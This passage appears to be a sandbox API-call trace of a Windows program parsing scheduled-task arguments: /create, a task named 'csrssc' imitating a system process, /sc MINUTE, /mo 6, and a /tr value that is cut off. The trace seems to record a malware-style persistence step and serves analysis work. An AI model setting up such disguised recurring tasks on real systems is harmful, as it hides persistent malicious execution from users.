_ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.265] lstrlenW (lpString="|?|") returned 3 [0057.265] lstrlenW (lpString="|tn|") returned 4 [0057.266] SetLastError (dwErrCode=0x490) [0057.266] lstrlenW (lpString="s") returned 1 [0057.266] lstrlenW (lpString="s") returned 1 [0057.266] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.266] lstrlenW (lpString="tn") returned 2 [0057.266] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.266] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|s|") returned 3 [0057.266] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.266] lstrlenW (lpString="|s|") returned 3 [0057.266] lstrlenW (lpString="|tn|") returned 4 [0057.266] SetLastError (dwErrCode=0x490) [0057.266] lstrlenW (lpString="u") returned 1 [0057.266] lstrlenW (lpString="u") returned 1 [0057.266] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.266] lstrlenW (lpString="tn") returned 2 [0057.266] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.266] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|u|") returned 3 [0057.266] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.266] lstrlenW (lpString="|u|") returned 3 [0057.266] lstrlenW (lpString="|tn|") returned 4 [0057.266] SetLastError (dwErrCode=0x490) [0057.266] lstrlenW (lpString="p") returned 1 [0057.266] lstrlenW (lpString="p") returned 1 [0057.266] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.266] lstrlenW (lpString="tn") returned 2 [0057.266] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.266] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|p|") returned 3 [0057.266] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.267] lstrlenW (lpString="|p|") returned 3 [0057.267] lstrlenW (lpString="|tn|") returned 4 [0057.267] SetLastError (dwErrCode=0x490) [0057.267] lstrlenW (lpString="ru") returned 2 [0057.267] lstrlenW (lpString="ru") returned 2 [0057.267] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.267] lstrlenW (lpString="tn") returned 2 [0057.267] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.267] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|ru|") returned 4 [0057.267] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.267] lstrlenW (lpString="|ru|") returned 4 [0057.267] lstrlenW (lpString="|tn|") returned 4 [0057.267] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0057.267] SetLastError (dwErrCode=0x490) [0057.267] lstrlenW (lpString="rp") returned 2 [0057.267] lstrlenW (lpString="rp") returned 2 [0057.267] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.267] lstrlenW (lpString="tn") returned 2 [0057.267] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.267] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|rp|") returned 4 [0057.267] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.267] lstrlenW (lpString="|rp|") returned 4 [0057.267] lstrlenW (lpString="|tn|") returned 4 [0057.267] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0057.267] SetLastError (dwErrCode=0x490) [0057.267] lstrlenW (lpString="sc") returned 2 [0057.267] lstrlenW (lpString="sc") returned 2 [0057.268] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.268] lstrlenW (lpString="tn") returned 2 [0057.268] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.268] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.268] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.268] lstrlenW (lpString="|sc|") returned 4 [0057.268] lstrlenW (lpString="|tn|") returned 4 [0057.268] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0057.268] SetLastError (dwErrCode=0x490) [0057.268] lstrlenW (lpString="mo") returned 2 [0057.268] lstrlenW (lpString="mo") returned 2 [0057.268] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.268] lstrlenW (lpString="tn") returned 2 [0057.268] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.268] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.268] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.268] lstrlenW (lpString="|mo|") returned 4 [0057.268] lstrlenW (lpString="|tn|") returned 4 [0057.268] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0057.268] SetLastError (dwErrCode=0x490) [0057.268] lstrlenW (lpString="d") returned 1 [0057.268] lstrlenW (lpString="d") returned 1 [0057.268] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.268] lstrlenW (lpString="tn") returned 2 [0057.268] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.268] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|d|") returned 3 [0057.269] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.269] lstrlenW (lpString="|d|") returned 3 [0057.269] lstrlenW (lpString="|tn|") returned 4 [0057.269] SetLastError (dwErrCode=0x490) [0057.269] lstrlenW (lpString="m") returned 1 [0057.269] lstrlenW (lpString="m") returned 1 [0057.269] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.269] lstrlenW (lpString="tn") returned 2 [0057.269] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.269] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|m|") returned 3 [0057.269] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.269] lstrlenW (lpString="|m|") returned 3 [0057.269] lstrlenW (lpString="|tn|") returned 4 [0057.269] SetLastError (dwErrCode=0x490) [0057.269] lstrlenW (lpString="i") returned 1 [0057.269] lstrlenW (lpString="i") returned 1 [0057.269] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.269] lstrlenW (lpString="tn") returned 2 [0057.269] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.269] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|i|") returned 3 [0057.269] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.269] lstrlenW (lpString="|i|") returned 3 [0057.269] lstrlenW (lpString="|tn|") returned 4 [0057.269] SetLastError (dwErrCode=0x490) [0057.269] lstrlenW (lpString="tn") returned 2 [0057.269] lstrlenW (lpString="tn") returned 2 [0057.269] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.269] lstrlenW (lpString="tn") returned 2 [0057.270] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.270] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.270] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tn|") returned 4 [0057.270] lstrlenW (lpString="|tn|") returned 4 [0057.270] lstrlenW (lpString="|tn|") returned 4 [0057.270] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0057.270] SetLastError (dwErrCode=0x0) [0057.270] SetLastError (dwErrCode=0x0) [0057.270] lstrlenW (lpString="csrssc") returned 6 [0057.270] lstrlenW (lpString="-/") returned 2 [0057.270] StrChrIW (lpStart="-/", wMatch=0x63) returned 0x0 [0057.270] SetLastError (dwErrCode=0x490) [0057.270] SetLastError (dwErrCode=0x490) [0057.270] SetLastError (dwErrCode=0x0) [0057.270] lstrlenW (lpString="csrssc") returned 6 [0057.270] StrChrIW (lpStart="csrssc", wMatch=0x3a) returned 0x0 [0057.270] SetLastError (dwErrCode=0x490) [0057.270] SetLastError (dwErrCode=0x0) [0057.270] lstrlenW (lpString="csrssc") returned 6 [0057.270] SetLastError (dwErrCode=0x0) [0057.270] SetLastError (dwErrCode=0x0) [0057.270] lstrlenW (lpString="/sc") returned 3 [0057.270] lstrlenW (lpString="-/") returned 2 [0057.270] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.270] lstrlenW (lpString="create") returned 6 [0057.270] lstrlenW (lpString="create") returned 6 [0057.270] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.270] lstrlenW (lpString="sc") returned 2 [0057.270] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.271] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|create|") returned 8 [0057.271] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.271] lstrlenW (lpString="|create|") returned 8 [0057.271] lstrlenW (lpString="|sc|") returned 4 [0057.271] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0057.271] SetLastError (dwErrCode=0x490) [0057.271] lstrlenW (lpString="?") returned 1 [0057.271] lstrlenW (lpString="?") returned 1 [0057.271] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.271] lstrlenW (lpString="sc") returned 2 [0057.271] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.271] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|?|") returned 3 [0057.271] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.271] lstrlenW (lpString="|?|") returned 3 [0057.271] lstrlenW (lpString="|sc|") returned 4 [0057.271] SetLastError (dwErrCode=0x490) [0057.271] lstrlenW (lpString="s") returned 1 [0057.271] lstrlenW (lpString="s") returned 1 [0057.271] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.271] lstrlenW (lpString="sc") returned 2 [0057.271] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.271] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|s|") returned 3 [0057.271] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.271] lstrlenW (lpString="|s|") returned 3 [0057.271] lstrlenW (lpString="|sc|") returned 4 [0057.271] SetLastError (dwErrCode=0x490) [0057.272] lstrlenW (lpString="u") returned 1 [0057.272] lstrlenW (lpString="u") returned 1 [0057.272] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.272] lstrlenW (lpString="sc") returned 2 [0057.272] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.272] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|u|") returned 3 [0057.272] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.272] lstrlenW (lpString="|u|") returned 3 [0057.272] lstrlenW (lpString="|sc|") returned 4 [0057.272] SetLastError (dwErrCode=0x490) [0057.272] lstrlenW (lpString="p") returned 1 [0057.272] lstrlenW (lpString="p") returned 1 [0057.272] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.272] lstrlenW (lpString="sc") returned 2 [0057.272] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.272] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|p|") returned 3 [0057.272] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.272] lstrlenW (lpString="|p|") returned 3 [0057.272] lstrlenW (lpString="|sc|") returned 4 [0057.272] SetLastError (dwErrCode=0x490) [0057.272] lstrlenW (lpString="ru") returned 2 [0057.272] lstrlenW (lpString="ru") returned 2 [0057.272] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.272] lstrlenW (lpString="sc") returned 2 [0057.272] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.272] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|ru|") returned 4 [0057.272] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.273] lstrlenW (lpString="|ru|") returned 4 [0057.273] lstrlenW (lpString="|sc|") returned 4 [0057.273] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0057.273] SetLastError (dwErrCode=0x490) [0057.273] lstrlenW (lpString="rp") returned 2 [0057.273] lstrlenW (lpString="rp") returned 2 [0057.273] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.273] lstrlenW (lpString="sc") returned 2 [0057.273] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.273] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|rp|") returned 4 [0057.273] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.273] lstrlenW (lpString="|rp|") returned 4 [0057.273] lstrlenW (lpString="|sc|") returned 4 [0057.273] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0057.273] SetLastError (dwErrCode=0x490) [0057.273] lstrlenW (lpString="sc") returned 2 [0057.273] lstrlenW (lpString="sc") returned 2 [0057.273] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.273] lstrlenW (lpString="sc") returned 2 [0057.273] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.273] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.273] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.273] lstrlenW (lpString="|sc|") returned 4 [0057.273] lstrlenW (lpString="|sc|") returned 4 [0057.273] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0057.273] SetLastError (dwErrCode=0x0) [0057.273] SetLastError (dwErrCode=0x0) [0057.274] lstrlenW (lpString="MINUTE") returned 6 [0057.274] lstrlenW (lpString="-/") returned 2 [0057.274] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0057.274] SetLastError (dwErrCode=0x490) [0057.274] SetLastError (dwErrCode=0x490) [0057.274] SetLastError (dwErrCode=0x0) [0057.274] lstrlenW (lpString="MINUTE") returned 6 [0057.274] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0057.274] SetLastError (dwErrCode=0x490) [0057.274] SetLastError (dwErrCode=0x0) [0057.274] GetProcessHeap () returned 0x280000 [0057.274] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x18) returned 0x29d6a0 [0057.274] _memicmp (_Buf1=0x29d6a0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.274] lstrlenW (lpString="MINUTE") returned 6 [0057.274] GetProcessHeap () returned 0x280000 [0057.274] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0xe) returned 0x29d6c0 [0057.274] lstrlenW (lpString="MINUTE") returned 6 [0057.274] lstrlenW (lpString=" \x09") returned 2 [0057.274] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0057.274] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0057.274] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0057.274] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0057.274] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0057.274] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0057.274] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0057.274] GetLastError () returned 0x0 [0057.274] lstrlenW (lpString="MINUTE") returned 6 [0057.274] lstrlenW (lpString="MINUTE") returned 6 [0057.274] SetLastError (dwErrCode=0x0) [0057.274] SetLastError (dwErrCode=0x0) [0057.274] lstrlenW (lpString="/mo") returned 3 [0057.274] lstrlenW (lpString="-/") returned 2 [0057.275] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.275] lstrlenW (lpString="create") returned 6 [0057.275] lstrlenW (lpString="create") returned 6 [0057.275] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.275] lstrlenW (lpString="mo") returned 2 [0057.275] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.275] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|create|") returned 8 [0057.275] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.275] lstrlenW (lpString="|create|") returned 8 [0057.275] lstrlenW (lpString="|mo|") returned 4 [0057.275] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0057.275] SetLastError (dwErrCode=0x490) [0057.275] lstrlenW (lpString="?") returned 1 [0057.275] lstrlenW (lpString="?") returned 1 [0057.275] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.275] lstrlenW (lpString="mo") returned 2 [0057.275] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.275] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|?|") returned 3 [0057.275] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.275] lstrlenW (lpString="|?|") returned 3 [0057.278] lstrlenW (lpString="|mo|") returned 4 [0057.278] SetLastError (dwErrCode=0x490) [0057.278] lstrlenW (lpString="s") returned 1 [0057.278] lstrlenW (lpString="s") returned 1 [0057.278] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.278] lstrlenW (lpString="mo") returned 2 [0057.278] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.278] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|s|") returned 3 [0057.278] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.278] lstrlenW (lpString="|s|") returned 3 [0057.278] lstrlenW (lpString="|mo|") returned 4 [0057.278] SetLastError (dwErrCode=0x490) [0057.278] lstrlenW (lpString="u") returned 1 [0057.278] lstrlenW (lpString="u") returned 1 [0057.278] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.278] lstrlenW (lpString="mo") returned 2 [0057.278] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.278] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|u|") returned 3 [0057.278] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.278] lstrlenW (lpString="|u|") returned 3 [0057.278] lstrlenW (lpString="|mo|") returned 4 [0057.278] SetLastError (dwErrCode=0x490) [0057.278] lstrlenW (lpString="p") returned 1 [0057.279] lstrlenW (lpString="p") returned 1 [0057.279] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.279] lstrlenW (lpString="mo") returned 2 [0057.279] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.279] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|p|") returned 3 [0057.279] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.279] lstrlenW (lpString="|p|") returned 3 [0057.279] lstrlenW (lpString="|mo|") returned 4 [0057.279] SetLastError (dwErrCode=0x490) [0057.279] lstrlenW (lpString="ru") returned 2 [0057.279] lstrlenW (lpString="ru") returned 2 [0057.279] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.279] lstrlenW (lpString="mo") returned 2 [0057.279] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.279] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|ru|") returned 4 [0057.279] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.279] lstrlenW (lpString="|ru|") returned 4 [0057.279] lstrlenW (lpString="|mo|") returned 4 [0057.279] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0057.279] SetLastError (dwErrCode=0x490) [0057.279] lstrlenW (lpString="rp") returned 2 [0057.279] lstrlenW (lpString="rp") returned 2 [0057.279] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.279] lstrlenW (lpString="mo") returned 2 [0057.279] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.279] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|rp|") returned 4 [0057.279] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.279] lstrlenW (lpString="|rp|") returned 4 [0057.279] lstrlenW (lpString="|mo|") returned 4 [0057.280] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0057.280] SetLastError (dwErrCode=0x490) [0057.280] lstrlenW (lpString="sc") returned 2 [0057.280] lstrlenW (lpString="sc") returned 2 [0057.280] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.280] lstrlenW (lpString="mo") returned 2 [0057.280] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.280] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|sc|") returned 4 [0057.280] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.280] lstrlenW (lpString="|sc|") returned 4 [0057.280] lstrlenW (lpString="|mo|") returned 4 [0057.280] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0057.280] SetLastError (dwErrCode=0x490) [0057.280] lstrlenW (lpString="mo") returned 2 [0057.280] lstrlenW (lpString="mo") returned 2 [0057.280] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.280] lstrlenW (lpString="mo") returned 2 [0057.280] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.280] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.280] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|mo|") returned 4 [0057.280] lstrlenW (lpString="|mo|") returned 4 [0057.280] lstrlenW (lpString="|mo|") returned 4 [0057.280] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0057.280] SetLastError (dwErrCode=0x0) [0057.280] SetLastError (dwErrCode=0x0) [0057.280] lstrlenW (lpString="6") returned 1 [0057.280] SetLastError (dwErrCode=0x490) [0057.280] SetLastError (dwErrCode=0x0) [0057.280] lstrlenW (lpString="6") returned 1 [0057.281] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0057.281] SetLastError (dwErrCode=0x490) [0057.281] SetLastError (dwErrCode=0x0) [0057.281] _memicmp (_Buf1=0x29d6a0, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.281] lstrlenW (lpString="6") returned 1 [0057.281] lstrlenW (lpString="6") returned 1 [0057.281] lstrlenW (lpString=" \x09") returned 2 [0057.281] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0057.281] StrChrW (lpStart=" \x09", wMatch=0x36) returned 0x0 [0057.281] GetLastError () returned 0x0 [0057.281] lstrlenW (lpString="6") returned 1 [0057.281] lstrlenW (lpString="6") returned 1 [0057.281] GetProcessHeap () returned 0x280000 [0057.281] RtlAllocateHeap (HeapHandle=0x280000, Flags=0xc, Size=0x4) returned 0x29c320 [0057.281] SetLastError (dwErrCode=0x0) [0057.281] SetLastError (dwErrCode=0x0) [0057.281] lstrlenW (lpString="/tr") returned 3 [0057.281] lstrlenW (lpString="-/") returned 2 [0057.281] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0057.281] lstrlenW (lpString="create") returned 6 [0057.281] lstrlenW (lpString="create") returned 6 [0057.281] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.281] lstrlenW (lpString="tr") returned 2 [0057.281] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.281] _vsnwprintf (in: _Buffer=0x29c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|create|") returned 8 [0057.281] _vsnwprintf (in: _Buffer=0x29c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdc828 | out: _Buffer="|tr|") returned 4 [0057.281] lstrlenW (lpString="|create|") returned 8 [0057.281] lstrlenW (lpString="|tr|") returned 4 [0057.281] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0057.281] SetLastError (dwErrCode=0x490) [0057.281] lstrlenW (lpString="?") returned 1 [0057.282] lstrlenW (lpString="?") returned 1 [0057.282] _memicmp (_Buf1=0x29c200, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.282] lstrlenW (lpString="tr") returned 2 [0057.282] _memicmp (_Buf1=0x29c340, _Buf2=0xff691b08, _Size=0x7) returned 0 [0057.282] 